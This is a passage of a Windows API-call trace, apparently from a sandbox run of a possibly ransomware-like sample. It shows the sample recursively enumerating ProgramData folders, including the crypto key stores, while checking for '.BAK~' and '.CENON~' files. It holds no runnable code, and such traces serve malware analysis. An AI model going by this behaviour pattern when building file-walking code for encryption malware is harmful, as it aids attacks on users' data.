Users\\*.BAK~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.539] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.540] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\*.CENON~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.540] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.541] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0112.541] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0112.541] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0112.541] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0112.541] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0112.541] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0112.541] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0112.541] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0112.542] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0112.542] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0112.542] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0112.542] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0112.542] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0112.542] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0112.542] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 0 [0112.547] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Adobe\\*.BAK~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.547] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.548] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Adobe\\*.CENON~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.548] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.549] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0112.549] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0112.549] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0112.549] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 0 [0112.554] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Adobe\\Acrobat\\*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.554] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.555] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Adobe\\Acrobat\\*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.555] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.556] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0112.556] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0112.556] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 0 [0112.562] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.563] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.564] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.564] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.564] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0112.564] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0112.565] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 0 [0112.570] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.570] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.571] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.572] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.572] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0112.572] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0112.572] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 0 [0112.578] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\*.BAK~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.578] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.579] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\*.CENON~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.579] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.580] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae160 | out: lpFindFileData=0x1ae160) returned 1 [0112.580] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae160 | out: lpFindFileData=0x1ae160) returned 1 [0112.580] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae160 | out: lpFindFileData=0x1ae160) returned 0 [0112.585] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Adobe\\ARM\\*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.586] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.586] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Adobe\\ARM\\*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.587] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.587] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0112.587] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0112.587] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 0 [0112.845] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.846] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.881] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.881] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.907] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0112.907] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0112.907] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0112.907] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0112.907] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 0 [0112.926] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\*.BAK~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.926] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.927] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\*.CENON~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.927] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.928] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0112.928] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0112.928] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0112.928] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0112.928] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0112.928] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0112.928] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0112.928] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0112.928] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0112.928] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0112.929] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0112.929] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0112.929] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0112.929] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0112.929] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0112.929] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0112.929] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0112.929] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0112.929] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0112.929] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0112.929] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0112.929] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0112.929] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0112.929] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0112.929] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0112.929] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 0 [0112.935] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Assistance\\*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.935] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.936] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Assistance\\*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.936] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.937] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0112.937] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0112.937] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 0 [0112.942] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.942] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.943] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.944] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.944] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0112.944] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0112.944] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 0 [0112.951] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.951] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.952] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.952] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.953] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0112.953] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0112.953] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 0 [0113.200] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\*.BAK~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.201] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.235] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\*.CENON~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.235] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.260] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae160 | out: lpFindFileData=0x1ae160) returned 1 [0113.260] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae160 | out: lpFindFileData=0x1ae160) returned 1 [0113.260] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae160 | out: lpFindFileData=0x1ae160) returned 1 [0113.260] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae160 | out: lpFindFileData=0x1ae160) returned 1 [0113.260] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae160 | out: lpFindFileData=0x1ae160) returned 1 [0113.260] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae160 | out: lpFindFileData=0x1ae160) returned 1 [0113.260] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae160 | out: lpFindFileData=0x1ae160) returned 1 [0113.260] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae160 | out: lpFindFileData=0x1ae160) returned 1 [0113.260] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae160 | out: lpFindFileData=0x1ae160) returned 0 [0113.266] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Crypto\\*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.267] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.267] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Crypto\\*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.268] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.268] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0113.268] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0113.268] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0113.268] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0113.269] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 0 [0113.275] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.275] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.276] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.277] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.277] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0113.277] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0113.277] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 0 [0113.283] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys\\*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.283] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.284] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys\\*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.284] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.285] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0113.285] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 0 [0113.291] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys\\*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.291] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.292] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys\\*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.292] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.293] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0113.293] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 0 [0113.298] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.299] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.300] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.300] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.300] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0113.301] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0113.301] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0113.301] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 0 [0113.307] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.307] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.308] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.309] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.309] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0113.309] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 0 [0113.316] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.316] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.317] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.317] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.318] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0113.318] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0113.318] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0113.318] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: 